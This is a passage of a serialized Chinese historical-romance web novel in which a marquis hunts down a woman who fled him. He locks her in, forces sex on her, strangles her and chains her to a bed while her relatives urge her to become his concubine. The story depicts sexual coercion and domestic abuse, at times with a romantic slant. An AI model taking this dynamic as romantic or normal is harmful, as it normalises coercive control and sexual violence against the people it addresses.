忽然他嘴角上扬,笑得很是灿烂:“林韦德,命人以官府的名义去查账查税。” 林韦德没反应过来,现在当务之急不是找人吗? 裴铉扬了扬手指捏住的账本:“沿用以前的人员,派遣固定的队伍慢慢查,不许露出任何马脚。” 宁泠要想不被人发现异常,在外面必定要在外找活干。 现在她有了户籍,人又敏锐得很。他不可能做到人手一张画像,每个人都能对比无错。 但他可以去查商家,只有宁泠写了字记了账,就会留下痕迹。 裴铉要求的人很快被聚集,每支队伍都分到了宁泠账本中的一页。 “你们挨家挨户去查账,按时按点不许急躁。”林韦德高声说出要求,“尤其注意,发现账本中有字迹与此相同者,暗自留心记下。” 宁泠的字迹还是很扎眼的,这个方法的确比找人更有效。 离高石县为中心,附近州城县镇都查。 州城四支队伍各从东西南开始推进,县城两支队伍分东西方向,小镇一支队伍。 黄记车行靠近淮州中心区域,约莫查了半个月才到。 宁泠牵住马车往后院走的时候,就瞧见一行官员拿着算盘等物过来。 她心头猛跳,下意识地躲进了门后暗自观察。 那群官员依次按商铺顺序进入,并不关心人员帮工,一心看账本拨算盘。 宁泠身体放松了些,等了会后看见他们走进车马行旁的布庄。 一摞摞的账本待在桌面上,官员一边喝茶一边算。 “你们这账对不上啊。”一个官员合上手上账本。 布庄老板在那支支吾吾解释,黄掌柜见状摇摇头。 “黄掌柜,他们这是?”宁泠问道。 “查账。”黄掌柜见宁泠神色害怕说道:“放心,我可不会做假账,每年都会查,不是什么大事。” 宁泠的心彻底放下了,不是针对她就好。 那边布庄老板面色苦哈哈将官员送出门,他们就按顺序进了车马行。 黄掌柜早准备好了账本和茶,官员们手速飞快地拨算盘。 “没问题。”官员将所有账本都检查说道。 黄掌柜笑笑,恭敬将人送了出去,他们去了后面一家店铺。 宁泠暗中观察,没有发现任何异常。 管道上,信使骑着一匹骏马,快马加鞭赶往高石县。 到了后他立马将信件呈上,裴铉眼眸闪过丝笑意。 官员摸查了许多都杳无音信,他都快以为这个方法没用了。 裴铉拆开信件,淮州郡守详细交代了情况。 在淮州黄记车马行发现了裴铉寻找的字迹,他又查访了宁泠使用的户籍。 将宁泠何时进城,何时与黄记车马行签订契约,如今住哪都说得明明白白。 为防止宁泠疑心,查账的官员依旧继续,但他已派人竟宁泠盯住。 裴铉看了信后,毫不耽搁地骑马,风驰电掣赶往淮州。 他真没想到宁泠敢回淮州,他估摸她藏在那个山头避风头。 乌云密布,层层卷云堆积,似是暴风雨欲来。 宁泠忙碌了一天,腰酸背痛拖着疲乏的步子回宅子。 宅子由她和另两人合租,一个是在店里当小二,受不了大通铺的呼噜声,另外一人在茶馆当茶博士。 宁泠手放在门上欲推开,感觉今晚的风似乎要冷些。 推开院门后,里面漆黑如墨,一点声音都没有。 宁泠蹙眉,都还没回来?以前这时候大家都在,免不了打个招呼交谈几句。 院子内弥漫着怪异的氛围,宁泠缓步走至自己屋子门前。 她伸手推开门进了屋子,吹燃火折子准备去点燃烛火。 火光闪亮的刹那,她似乎看见那张熟悉的俊脸,宁泠吓得心神不稳,火折子从手心坠落,在地面滚动。 第50章 第50章【VIP】 宁泠哆嗦着手在地上摸索火折子,她找了好一阵才找到了。 火折子在手了,她却不敢去点那烛火,宁泠悄无声息地往后挪了几步,往靠近门的方向走。 似乎刚才的一切都是她的幻想,宁泠一步一步退回了门头。 她将门拉了拉,没有反应。 她加大力气用力拉了拉,门被拉的晃动,却还是没有被打开。 门从外面反锁了!宁泠的脑海一点空白,寒意涌上心头。 裴铉背看着墙面,双腿肆意交叠,饶有兴趣地看着她动作。 “这么黑,怎么不点烛火?”他的眼眸望着她,似猎豹锁定了猎物,蓄势待发。 熟悉的声音,宁泠肯定自己没有听错。 是裴铉!她顿感呼吸困难,全身紧绷。 裴铉不满足只站在原地看她了,一步一步向她逼近。 黑暗中的宁泠努力想避开他,她往身后退步,却撞上了身后紧锁的门。 裴铉站在她面前,高大的身影带着巨大的压迫感。 纵使在黑暗里,她也能感觉到他眼眸里透出的侵略性。 裴铉将宁泠堵在门口:“还想跑?” 宁泠没有回答她,脑海里搜寻着任何可用的办法。 “你无路可逃了。”裴铉的身影将她整个人笼罩住,声音似带着蜜糖的砒霜,“宁泠。” “侯爷,我出身粗鄙,举止无礼,配不上您。”宁泠强压下心慌,“天下名门闺秀众多,您何必如此。” “既知自己德行有失,出身卑鄙,就该全心全意侍奉我。”裴铉冷笑,“而不是把我当成一只狗,玩狗似得逗我。” 现在在这说些冠冕堂皇的废话,倒是得心应手得很。 宁泠一时不知自己该说些什么。 “这段时间好玩吗?”裴铉似乎有很多话。 宁泠没回话,室内的氛围越发危险。 “裴铉,为何紧追不放呢?”宁泠叹了声,“我是逃了,你但也用不着做出一副苦情样,你真的喜欢我吗?对你来说,我不过是你常常把玩的物品,你想要我全身心依附于你,我永远不可能做得到。” 宁泠索性与他打开天窗说亮话。 喜欢?这两个字在裴铉的心口绕了一圈。 他轻笑出声:“你能不能做到,由我说了算。” 喜欢也好,不喜欢也罢,他都不可能让她再有离开的机会。 朦胧的银辉色月光倾洒下来,他看着苦寻已久, 近在咫尺的人儿。 她似乎在外过得还不错,小脸添了几分肉嘟嘟的感觉,眼眸依旧清澈动人。 她潇潇洒洒,毫无留恋地跑了,而他整整寻了她五十九天。 裴铉宽大的手掌带着热气,贴上她的脸颊。 宁泠许久未曾与人亲密接触,她不喜地侧头躲开。 裴铉的手掌落了空,转向欲按住她的肩膀。 宁泠敏锐地察觉到他的动作,侧身一躲,闪身离开。 “看来在外面的日子,你行动敏捷了许多。”裴铉眼眸蕴藏着猫抓老鼠的兴奋,激动地舔了舔嘴唇。 如柔纱似的月光,令人看不清,但宁泠警惕地发现了裴铉的不对劲。 现在的他像是在床榻上,不知疲倦地野兽。 宁泠躲开的距离不多,她向前快走几步。 两人之间的距离隔着一张木桌,裴铉往右,她就往左,一直和他打着圈。 裴铉耐着性子,与她玩了两圈后。 就大步一迈,朝她抓来,宁泠连忙跑起来,却不及他眼疾手快。 被他按在木桌上,动弹不得。 “松手。”宁泠怒喝道。 裴铉手掐着她单薄的锁骨,迫使她上身半躺在木桌上。 看着那唇张张合合,他血脉喷涌地吻了上去。 宁泠不肯依他,四肢翻腾挣扎,却无济于事。 裴铉吻得凶猛,唇畔肆无忌惮地碾磨着她的唇肉。 舌尖描绘着她的唇线,反复舔舐着她的唇珠。 宁泠使劲去捶打他的肩膀,却被他另外一只大手死死钳住,将她双手举过头顶。 宁泠不甘心地张嘴去咬他,却给了他可乘之机。 他的舌尖顺势探入,与她香甜的舌纠缠在一起。 宁泠咬他,他也不肯示弱,一边咬一边吻得难舍难分。 他像是大蟒蛇般缠着她,又疼又窒息喘不上气,宁泠很快败下阵来,她头脑发昏,虚软无力。 裴铉闷笑了一声,似是在嘲笑她的自不量力。 他的手顺着锁骨处,沿着衣领游走,肌肤相触瞬间惊醒了宁泠的意识。 “去榻上好不好?”宁泠的声音被吻得模糊不清,“这里冷。” 裴铉没有停,宁泠又舌尖轻触暗示了下。 他幽深黝黑的眼眸与她对视了一下,手上松了劲。 正欲抱上宁泠的腿上塌时,宁泠用劲踹了他一脚,想要从桌子另外一头爬下去。 裴铉的视线如鹰隼般锐利,毫不费力地抓住了她纤细的脚踝。 他略微粗糙的手指摩挲着她脚踝,声音似笑非笑:“宁泠怎么永远学不乖呢?” 宁泠听见这阴冷的笑声头皮发麻,害怕地蜷缩。 裴铉将她扯下木桌,接着按着她的肩膀,拖着跌跌撞撞的她往木门方向走,然后迫使宁泠全身贴门,他坚硬的手指捏住她纤细易折的脖颈。 裴铉附在她耳边低语:“在这来一回怎么样?还能给外面守卫们找点乐子。” 他耐着性子对她,她倒是越发蹬鼻子上眼。 宁泠被挤压在冰凉的门上,声音惶恐:“不行。” 裴铉似乎还不满足,他继续说道:“和你同住的小哥们,说不定都快回来了,让他们一起听听宁泠的哭声好不好?” 宁泠无助地睁大眼眸:“你疯了?” “我好好待你,你不喜欢。”裴铉的热气附在她耳畔,“那我就换个法子,讨你欢心了。” 说完话后他一口吻在宁泠柔软的耳垂,时不时用尖锐的牙尖磨着。 宁泠害怕地浑身颤抖,见他似乎要来真的了。 “我在车马行干了一天铲马粪,你不嫌脏?”宁泠慌忙说道,“说不住现在衣衫,皮肤上也沾染上了。” 闻言裴铉的身形一僵,接着将宁泠抱在怀里,咬牙切齿道:“再挣扎就将你就地正法。” 怀里的宁泠长舒一口气,紧接着情绪低落。 这次是在劫难逃了,不知道以后多久才有机会再次离开。 裴铉将宁泠抱在怀里,长腿用力一踢,将紧锁的房门踹开。 出了房门宁泠抬头看了眼,门外没人。 直到院门才发现有人把守,是林韦德。 林韦德似乎有些诧异这么快就出来了,裴铉冷冰冰甩出两字:“马车。” 马车上,宁泠本想问问孟大哥,廖先生玉兰他们。 可看着裴铉神情不善,她又担心惹怒他,只能闭口不言。 裴铉看见了她的欲言又止,冷哼一声。 泥菩萨落水,自身难保,还有空担心别。 马车停在了一处府邸,裴铉下了马车后见她迟迟不肯下来。 他叩了叩马车壁:“还要我来请你?” 宁泠从马车内探出头,跳下了马车,看着庞大的府邸似是一座牢笼。 裴铉进门后,一众丫鬟婆子有序行礼,见了宁泠后眼眸的诧异转瞬而逝。 裴铉带着宁泠直接去了府里的汤池,他虽然在这居住了一段时间。 可还没那闲情逸致去泡汤池。 热气氤氲的汤池内,温柔的水面洒满了新鲜芬芳的花瓣。 裴铉亲手解开了自己的腰封,恍若无人般脱衣下了水池。 宁泠头皮发麻,心脏猛跳,整个人呆滞地站在水池旁。 裴铉长臂一伸直接将她拉入水池,声音暗沉:“宁泠,我的耐心是有限的。” 他的话里暗藏威胁,宁泠忽地跌入水池,被呛了一口水。 溺水的人在水里紧紧抓住浮木,她撑着裴铉的肩膀探出头,猛烈咳嗽。 被呛得满脸通红,她眼眸如水,桃腮粉嫩。 束好的长发也散了,乌黑柔亮的长发披于身后。 裴铉盯着她的视线不加掩饰,眼神灼热。 宁泠害怕地避开他的视线,裴铉笑了:“你不是想知道孟亦知的下落吗?不是担心他是死是活吗?” 宁泠低下的头有抬眸望向他,他轻佻地挑眉:“那就想办法让我舒服。” 当晨光微照,染上鱼肚白色后,宁泠被抱着出了汤池。 内室内,裴铉给她擦了药,昨夜他没有克制自己,尽兴而归。 一想到她为了那个蠢货,不反抗顺从他,他恨不得将她钉死在汤池壁上。 他将宁泠的手放进锦被,摸到掌心时察觉不对劲。 昨夜没仔细留意,现在翻开一看,掌心处似是磨了几个水泡又破了。 联想到她在车马行,裴铉立马猜出是她握缰绳驯马弄出的。 真是为了逃走,苦苦谋划。 可惜了,以后这些都用不上了。 “去将孟亦知他们接来。”裴铉出了门后对林韦德吩咐道。 “是。”林韦德见人已寻到了,可侯爷神色之间似乎并不高兴。 宁泠一觉睡到下午时分才醒,是被饿醒的。 算下来,整整一天没有进食了。 她想掀开被子,又忽地发现自己**,脸上浮现恼羞。 那混蛋昨夜都撕了,她无奈地躺了回去。 宁泠告诫自己,暂且忍耐。 又不是第一次逃跑被抓了,先按兵不动,日益麻痹他,再寻机会逃跑。 裴铉回屋后,发现她醒了问道:“醒了为何不唤人进来?” 宁泠觉得他明知故问,不想搭理他。 裴铉想了下才知她意思,心里一个念头闪过。他拉了下床头的铃铛,外面的丫鬟进来后:“去寻几套衣裙。” “是。”丫鬟很守规矩,点点头下去。 待宁泠穿好衣裙洗漱后,裴铉命人给她煮了份浮圆子垫肚子。 “走吧,你不是心急想见你的孟哥哥吗?”她吃完后,裴铉的声音带着丝嘲讽。 宁泠没想到他这么守诺,眼眸里藏不住的 惊讶。 裴铉嘴角的笑意扩大,待见到那些人听见那些话,不知她是否会后悔遇见他。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 第51章【VIP】 宁泠行走时双腿发软,腰肢酸痛得厉害,全身似散了架似得。 裴铉唇角上扬地看她挪着小碎步,还能走?看来今早应该还能再坚持会的。 孟亦知等人都在偏厅候着,宁泠进来后,神情懵了下。 这里不止有孟亦知,竟然孟大娘也在。 而且孟亦知身边有个陌生女子,两人挨得很近。 见宁泠来了,孟亦知起身道:“宁妹妹,你回来了。” 他话一出口,众人都蹙眉。 宁泠不知他为何用回来这词语,这又不是她家。 裴铉眼神锐利地睨了他一眼,孟大娘等人则是神色着急。 “宁姑娘,近来可好?”孟亦知又神色局促地重新问道。 宁泠点点头:“还行,孟大哥呢?” 孟亦知脸红了,指了指身旁女子介绍道:“一切安好,这是我夫人,通判家的四姑娘郭氏。” 郭氏长得小家碧玉,气质淑良,起身行礼道:“宁姑娘好。” 宁泠心里疑惑,婚姻嫁娶乃是大事,她离开不过月余,孟亦知怎就娶妻了,还是通判家的姑娘。 不过这是孟家的家事,与她无关。 宁泠笑着恭敬道:“恭喜孟大哥和嫂嫂喜结良缘。” 郭氏腼腆一笑:“当不得宁姑娘一声嫂嫂。” “宁泠越长越漂亮了,我刚才见了还以为是仙女下凡。”孟大娘走过来,亲热拉着宁泠的手。 宁泠笑笑,客气道:“大娘还是和以前一样,气色红润。” 似乎因着裴铉在此,大家都有些拘谨局促。 裴铉眉梢微扬,命人上了好茶和点心后就主动离开。 去痛苦地折磨孟亦知,只会增加他们患难与共的情意。 而他要彻底斩断他们之间的情意,无论是爱情,还是兄妹之情。 宁泠蹙眉看着他离开的身影,今日裴铉怎会如此善解人意? 坐在一旁的孟亦知慢吞吞喝了一杯茶水后,在孟大娘和孟夫人的注视下,面色犹豫问道:“宁妹妹说的庶弟是侯爷吗?” “是。”事到如今,宁泠也不想骗他,“我走后,他可曾为难你?” 裴铉性情乖张,不是个好相处的人,她担心裴铉拿孟大哥泄气。 “侯爷不曾对我发难。” 孟亦知摇摇头,又吞吞吐吐继续:“我与夫人的姻缘还是侯爷牵线成的。” 宁泠的眼眸倏地睁大,转念一想,许是裴铉以为她对孟大哥尚有余情,为了断了她念想做的。 不过从刚才进门后的观察,孟大哥和郭氏应该互有情意,不是强行撮合。 “对啊,还是要多谢侯爷呢。”孟大娘满意地点点头,“侯爷容貌英俊,又一表人才,心地又好。” 孟大娘明显对这门婚事很是满意,虽然郭氏只是通判家的庶姑娘,可她老爹是叙州通判啊,叙州的二把手。 眼下孟亦知已是秀才,再进一步便可当官了。头上有个通判岳丈,以后岂不是平步青云。 宁泠听了孟大娘的脸,顿时无语凝噎。 裴铉心地善良?天大的笑话。 宁泠不接话,孟大娘也不好一个人唱独角戏,她横了眼孟亦知。 孟亦知开口说道:“侯爷与我说,他有意奏请你当侧夫人。” 宁泠有些诧异,裴铉不像是会与孟亦知推心置腹之人。 “宁妹妹,你如何想的?”孟亦知接着问道。 “我不做妾。”宁泠毫不犹豫,脱口而出。 三个人顿时面面相觑,沉默不言的郭氏温柔说道:“其实侧夫人,倒也不算妾室。” 宁泠的唇线抿紧,不是妾室,还是能正室?将正妻置于何地。 何况就是正室,她宁泠也不稀罕。 裴铉性情古怪,行事作风从不为她考虑,这种人万万不能托付终身。 宁泠不搭话,孟亦知又硬着头皮上:“听说你们已有了肌肤之亲。” 宁泠的脸颊霎时间红了,低垂着头,心里十分恼怒,裴铉怎么连这都说。 “宁妹妹,你别怕。”孟亦知连忙安慰道,“我知有些话说出来你会恼羞,可我私心里将你当做我的亲妹妹,还是盼望你幸福安康。” 当时孟亦知肯冒着风险收留她,帮她应酬求路引。 宁泠心里很是感动,虽然最后没成功,但他拳拳热心是真。 “孟大哥想说出什么?”宁泠问道。 孟亦知将藏在心里的话说出:“侯爷出身尊贵,又肯为你花心思,如今更是愿意先迎你做侧夫人再娶妻,你已失了清白,何必再与他置气,不如安心过下去。” 宁泠面色冷了些,声音带着寒意:“我不做妾,我父母临终前也对我千叮咛万叮嘱,不得为人妾室。” 她不曾与裴铉置气,只想永远离开他。 “侧夫人不算妾室,谁见了都尊称声夫人。”郭氏弱弱出声,“我姨娘是小官之女,在我爹那尚且只能做个妾。更何况宁妹妹出身布衣之家,得了侯爷青睐能做侧夫人,何苦与自己再较劲?高门大户都是贵人,没有妾室之分。” 以郭氏来看,宁泠是放着飞上枝头变凤凰的机会不去,非要去吃苦受罪。 宁泠的面色越发不好看,可郭氏是孟家刚过门的媳妇,她实在不好说重话。 “哎呦,泠儿,你可是我从小看着长大的,怎么犯了糊涂?”孟大娘一副痛心疾首的模样,“你爹娘不肯让你做妾,是怕别人糟蹋了你。可去侯府做侧夫人,那可是数不清的荣华富贵,锦衣玉食,都是百姓去庙里上香求得好姻缘啊。” 宁泠只觉话不投机半句多,她冷冷掀了掀眼皮子:“孟大哥既安好,我也乏了,请回吧。” 她直接下了逐客令,三人顿时讪讪闭了嘴。 孟大娘却不肯轻易放弃:“泠儿啊,侯爷都将你伯父们调去青州当大官了。所谓一人得道鸡犬升天,你怎么执迷不悟?你爹娘要是还在世,知道有这好姻缘,定是高高兴兴送你出门。” 宁泠的伯父都能弄去做官,只要她能劝服宁泠,以后她儿的官途又多了一位侯爷扶持。 宁泠顿时浑身僵住,裴铉竟然将卖掉她的人推荐为官。 果然是一群畜生,恨不得吃干净她的肉,喝干净她的血。 再听见孟大娘还好意思口口声声提她爹娘,宁泠怒不可遏:“我爹娘的遗言,轮不到你来说三道四,多加评判。” “宁妹妹!”孟亦知见状吼了一声。 他母亲含辛茹苦养大他不容易,也是好心为了宁泠着想,她怎能如此激进。 一个女子既失了清白,侯爷又是良人,难不成还水性杨花,另觅他人? “你孟家愿为了官运做赘婿。”宁泠忍不下去了,反唇相讥,“我宁泠誓不为妾,绝不卖身求荣。道不同不相为谋,此生不必再见。” 孟大娘和孟亦知被她那句赘婿气得面色发青,他们不服想再辩。 可宁泠说完后,怒气冲冲,摔门而去。 “裴铉呢?”宁泠对着门外侍女问道。 侍女听见她直呼名讳,吓得连连摇头。 宁泠抬脚回屋,人没在屋里,应该在书房。 她命人带她去了书房,书房外侍卫进去通报。 见她进来,裴铉面带微笑:“和你的孟大哥聊得开心吗?” 显然一切都在他的安排中。 林韦德站在旁边,他看宁泠眼眸含怒,气势汹汹。 “你把宁家人推荐为官了?”宁泠质问。 自打他们把她卖了后,她就不认为他们是她的伯父。 好心的路人遇见孤苦无依的姑娘,都会帮帮忙。 他们是血脉亲人,却毫不犹豫卖了她。 “对呀,你撇下我跑了。”裴铉笑得恶劣,“我倒是爱屋及乌。” 之前宁泠还有几分不信孟氏的话,如今证据确凿。 “爱?你裴铉不过是想让他们来劝说我。”宁泠不屑冷笑,“像孟氏一样的法子,我告诉你裴铉死了这条心,我宁泠不可能给你做妾。” 说完后,她又轻蔑地补偿道:“对了,就是正妻我也不稀罕,我就是不喜欢你。” 他强压她做妾,还让那些蚂蟥趴她身上吸血抽筋,还敢提她父母。 昨儿她想着静待时机不翻脸,裴铉却要塞一堆人来恶心她,那她不可能遂了他的意。 室内的氛围瞬间冰封凝固,林韦德见裴铉的笑意消失 。 “你有什么资格说不?”裴铉捏着宁泠的下巴,俯视他,“我不过招招手,你宁家孟家就恨不得亲自把你送上我塌。” “少用他们威胁我,你对他们要杀要剐,我绝不心软。”宁泠语气强硬,他们要去求荣华富贵,别指望用她去铺路。 裴铉又倏地笑了,指腹一寸寸抚摸她的脸颊:“没有他们,你也跑不了了。此次回盛安城,你若听话哄我高兴,我就奏请你当侧夫人。若你还犟着脾气,不知天高地厚,那我就去官府置办妾室文书。你该好好想想怎么选?” 不喜欢他,没关系。 那也要生生世世和他在一起,死了也要在一个墓穴。 恨也要爱也罢,他裴铉不计较。 宁泠气得浑身颤抖,眼底绝望地望着这个疯子。 有了官服文书的枷锁,以后她更加寸步难行。 没有文书,宁泠还能自欺欺人,她被狗咬了一口而已。 有了文书成了妾室,以后有何颜面去见爹娘。 她伤心欲绝,裴铉大笑出声,满意地欣赏她的神情。 宁泠气血翻涌,怒气上头,看见他这幅得意洋洋的模样。 啪得一声,室内的气氛低压恐怖。 “畜生!”宁泠使出全身力气,狠狠一记耳光打在裴铉脸上。 扇得他嘴角溢出鲜血,裴铉慢条斯理地用大拇指抹去。 眼眸晦暗幽深地望着宁泠。 林韦德在一旁,吓得魂都丢了。 他知道宁泠不是软性子,可没想到如此硬茬。 他面色担忧的视线在两人之间徘徊。 擦完嘴角的血迹后,裴铉的大手用力地钳住她纤柔的脖颈,面露暴戾:“我是不是太惯着你,让你忘了上下尊卑。” 宁泠被掐得喘不上气,感觉自己似乎要窒息。 她拼命挣扎捶打他,但他纹丝不动,眼神像藐视蝼蚁般冷漠。 宁泠挣扎了会垂手放弃了,忽地觉得这样死了也挺好。 与其为人妾室活得像只狗,去卑微乞求,还不如今天堂堂正正死了。 她面色发红,眼泪不断从眼尾颗颗坠落。 林韦德见她唇色青紫,连忙喊道:“侯爷!” 裴铉的理智瞬间回归,看了眼手下的她,然后松了手。 宁泠无力跌倒在地上,伏在地面上大口大口喘着气。 她只觉得好累好累,仿佛这些日子奔波逃跑的疲倦一拥而上。 宁泠在想裴铉刚才为什么不掐死她,她不想在过这种提心吊胆,日夜惶恐的日子。 她真的逃不了了,这次逃跑她拼尽全力,绞尽脑汁了。 却才两月,以后裴铉不会再给她任何机会了,她只能困死在侯府,死后也回不了家。 见她虚弱地躺在地上,一边喘气一边哭,裴铉也知自己下手重了。 心里不由一阵心慌,闷得他也喘不过气。 宁泠无神的眼眸看着屋顶,眼泪止不住地往下落。 却没有发出一点声音,裴铉手不由地颤抖,他蹲下身来看她。 纤细白皙的脖子上鲜红扎眼的手印,小巧的脸上布满泪水。 眼眸无力破碎地望着上空,却很安静。 裴铉想将她扶起来,刚接触她的手臂,就见她转过头来。 她眼底满是憎恶,语气厌恶道:“蠢货。” 声音嘶哑很低,但足够在场的人都听清楚了。 裴铉的手一顿,英俊的脸阴沉得厉害。 宁泠狼狈地躺在地上,姿态却很是高傲:“再尊贵的侯爷还不是被我玩弄于股掌,明知我不喜欢你,还死皮赖脸地穷追不舍。现在更是一条狗!被我打了还不要脸地往上贴。” 两人之间的气氛又剑拔弩张,寒意四处蔓延。 第52章 第52章【VIP】 宁泠说完后,静静躺在冰凉的地板上,等待裴铉拎起她的身体,折断她的脖颈。 室内顿时鸦雀无声,林韦德生怕侯爷盛怒之下取了宁泠性命。 却倏地听见一道低沉的笑意,听得人心头毛骨悚然,心惊肉跳。 “想激怒我求死?”蹲着的裴铉歪头看她,眼底露出残忍,“傲骨不屈,宁死不从。” 宁泠神情不屑:“看来侯爷对我一往情深喃,都这样了还舍不得杀我,真是个孬种,蠢货!” 裴铉不答,有力的大手拉起她,将她整个人抱在宽厚的胸膛里。 宁泠对上他的视线,手臂一扬欲要再打一记耳光。 裴铉早有察觉,及时制止抓住了她皓白的手腕。 他用力地捏着她纤细的手腕,“不要想这只手,我可以折断。” 之前那一记耳光,是在他不设防的情况下。 “好呀。”宁泠在他怀里娇娇一笑,发髻散落笑得勾人,“都砍断算了,碎尸万段也成,任凭侯爷做主。” 裴铉听了怒气更甚,她是拿准了他不会这么做,有恃无恐。 他抱着宁泠回内室处,一路上她倒老实,没有挣扎。 回了室内,他将她扔在床榻的软被上,欲解衣袍。 “侯爷收拾人的法子,只有这一种手段?”宁泠语气嘲讽,轻视地看着他的动作。 昨日贪欢将她弄得不轻,原打算这几日放她一马,可她犟着脾气惹怒了他。 “当然不是。”裴铉低头带着笑意看她,“本来昨日就想给你用上,可你昨晚知情识趣,那就现在试试。” 裴铉从床榻附近的柜子里拿出个盒子,宁泠不为所动冷眼旁观。 裴铉闲情逸致地打开盒子,里面装着银链子,做工精致小巧。 宁泠嗤之以鼻:“玩旧了的老手段。” 裴铉拿着东西靠近:“手段新旧无所谓,有用就行。” 裴铉将宁泠一对白皙的脚踝扣上,又将她纤细的手腕锁上。 宁泠有点慌了,四肢都被紧紧禁锢,整个人呈大字型摆在床上。 裴铉眼眸晦暗看着,满意地点点头。 宁泠不由得挣扎了下,银链叮叮当当作响。 当初第一次用用银链锁着她时,她哭得可怜兮兮,一个劲撒娇卖乖,他心软放弃了。 现在他倒要看看,如今的她骨头有多硬。 宁泠屈辱地紧闭眼眸,裴铉却嫌不够尽兴。 将满屋子的烛火统统点亮,亮如白昼。 她脸上的痛苦、绝望、挣扎都尽收于他的眼底。他用禁锢强势的手段将她的傲骨一寸寸折断。 喜欢不喜欢他又怎样?他裴铉依然可以肆意地拥有她,再也不可能让她逃走。 宁泠的指甲深深嵌入手掌心,身体紧绷。 看着她屈辱痛苦的模样,裴铉本该心满意足,可内心总是缺点什么东西,一切索然无味。 暖黄的烛火打在她头顶,却能清晰地看见她苍白的脸色。 裴铉不由自主地靠近她,想看看她下午的掐痕好些没。但阴影笼罩过来将昏睡的宁泠吓得一哆嗦,眼眸惊恐迷茫地看着他。 裴铉不喜这种眼神,比以前的虚情假意更令人生厌。 见她吓得娇躯发颤,还是咬着嘴唇不肯出声。 裴铉居高临下地睥睨着下方狼狈的她。 “我还以为你不会害怕呢?”他发出嘲讽。 宁泠不理他,身体的反应是她不能控制的,但情感她可以,她绝不求饶。 折腾太过,裴铉怕伤了她,她白皙的脖颈上的掐痕,由下午扎眼的赤红变成骇人的青紫色。 下午被她激怒失了理智,药都没上。 裴铉想抱她去沐浴上药,可脑海里又倏地想到她骂他是条狗,不要脸地往上凑。 他身体僵在原地几息,冷着脸摇铃铛后对外喊道:“进来伺候梳洗。” 宁泠手脚都被紧紧锁住,不愿意让旁人进来瞧见。 “不准让她们进来。”她声音 嘶哑得厉害。 裴铉嘲弄地挑眉:“你说阖府上下听谁的?” 一瞬间的沉寂,宁泠只觉自己的挣扎可笑,刚才说的话更是愚蠢的可怜。 她闭上眼不再反抗,眼眶里的热泪汹涌,一颗颗坠珠子地从眼角流出,无声凄美。 裴铉等着她说句软话,可看见她神色悲凉,声息微弱躺在榻上,心里像是有一快大磐石压在胸口,沉甸甸的。 外面的人听了命令,脚步越来越近。 “都出去!”裴铉暴喝一声出了门。 听见裴铉离开的声音,宁泠睁开眼眸看着床顶的青色帐纱。 她忍不住低声抽泣,哭着哭着何时睡着了都不知道。 裴铉抬脚刚出了正院,又想到她颜色骇人的脖颈,沙哑不成声的嗓音。不上药明天还指不定成什么样子。 伫立在原地片刻后,低叹一声又回去了。 回去后见宁泠睡着了,刚才应该狠狠哭过一番。 眼睛肿肿,鼻头红红,脸庞布满泪珠。 她被银链子束缚睡得不舒服,眉头紧皱。 裴铉解了锁扣,将她揽腰抱起,她应该困乏极了,睡得沉沉。 他被她气狠了,今天手上的力气没有收着。 她身上指印明显,看着吓人,尤其脖颈处的掐痕,裴铉难得心生懊恼。 身上都上了药,幸好只是有些红肿,没有出血受伤,又将她的脖颈处仔细上了药后抱回。 裴铉剑眉紧皱地看着床榻上的链子,还是狠了心给她扣上。 她的脾气越发大了,以前还愿意哄哄他,现在动不动翻脸不认人。 他铁了心让她服软,至少说句软话。 不然现在她敢当着林韦德扇他耳光,以后更无法无天。 宁泠睡得沉,裴铉命人看了几回都说还没醒。 天色又暗沉下了,睡了一天一夜了。 从抓回来到现在才吃了一碗浮圆子,这样下去身子那行? 裴铉悄无声息进了内室,她身体挺直地躺在床上。 帐纱遮掩了视线,裴铉走近撩起帐纱,目光深沉地望着她。 她面容平静地躺着,气若游丝。 裴铉一眼瞧出她在装睡,他在床榻边坐下,他敏锐地发现她纤长的睫毛微抖。 裴铉也不戳破,用指腹一寸寸地抚摸他的脸颊,临摹她精致的五官。 没想到她很沉得住气,仍由他手指游走试探她,他侵略性十足地接触,宁泠连眉头都没皱下。 “不饿?”裴铉率先败下阵来,帮她掖好被角。 宁泠依旧不搭理他,他没有给她衣衫,她还以为他满足后会解开银链。 结果是她天真了,他栓狗似地栓她,连一件蔽体衣衫都舍不得给她。 裴铉摇了床榻处的铃铛,命下人上了丰盛的晚饭,宁泠睡着时他给她调了链条的长度,足以她在内室行走。 诱人的美食佳肴摆上桌子,食物的香味在室内飘散。 宁泠没有反应,裴铉的声音带了怒气,威胁道:“不吃?那我亲自给你灌下去。” 裴铉起身拿了饭菜靠近,似乎真的要给宁泠灌饭。 宁泠蹭得一下起身,银链四处作响,她用力一挥将饭菜全部打翻在地,又冷漠地躺了回去。 裴铉何曾这般伺候过人,她还不识好歹,他顿时火冒三丈。 宁泠挑衅地看他一眼,又转移了视线。 裴铉深吸一口气,压下怒气,放软嗓音:“你不想我喂你,我唤丫鬟来。” 宁泠还是不吱声又闭上眼睛,摆明了一副油盐不进的模样。 “你若是不肯吃,那我只有绑着你命人喂下去,你想别人看见这景象吗?”裴铉继续说道。她连沐浴都不肯旁人看,肯定也不愿被人瞧这些。 宁泠听了睁开眼眸,裹紧身子的被子没动。 没开口答应,但这样子似乎代表默认了。 裴铉唤了个手脚麻利的下丫鬟喂饭,喂她喜欢平日里喜欢吃的肉。 可裴铉见她吞咽困难,神色有些痛苦。 猛地想到肯定是他掐重了,伤了嗓子。他懊恼说道:“撤下去吧,熬些虾仁蔬菜粥上来。” “是。”小丫鬟将饭菜都撤了下去,屋内又只剩下宁泠和裴铉。 室内是令人窒息的安静,裴铉一直注视着她脖颈处的伤。 “既然疼怎么不说?”裴铉语气里带着心疼,何必嗓子痛还强撑着吃下去。 宁泠不想理他的装模作样,分明是他掐的,现在又装心疼给谁看? 灶房里的人知道主子最近心情不好,时刻待命,粥很快就准备好了。 小丫鬟吹凉热粥喂宁泠,宁泠裹着被子小口小口吃。 她觉得不自在,声音干涩对小丫鬟道:“你放桌上,我自己吃。” 小丫鬟闻言去看裴铉,见他横了自己一眼。 又老老实实地喂宁泠,宁泠也不愿再说,老老实实吃。 裴铉帮她沐浴时,瞧见了她把自己掌心掐伤了,深深浅浅的印子看着都痛。 吃了半碗,宁泠就不肯吃了。 小丫鬟又神情惶恐地去看裴铉的脸色,裴铉看宁泠撩着眼皮不太耐烦的样子,怕又惹恼了她,点点头。 过了会小丫鬟端上来一碗汤药,黝黑发苦。 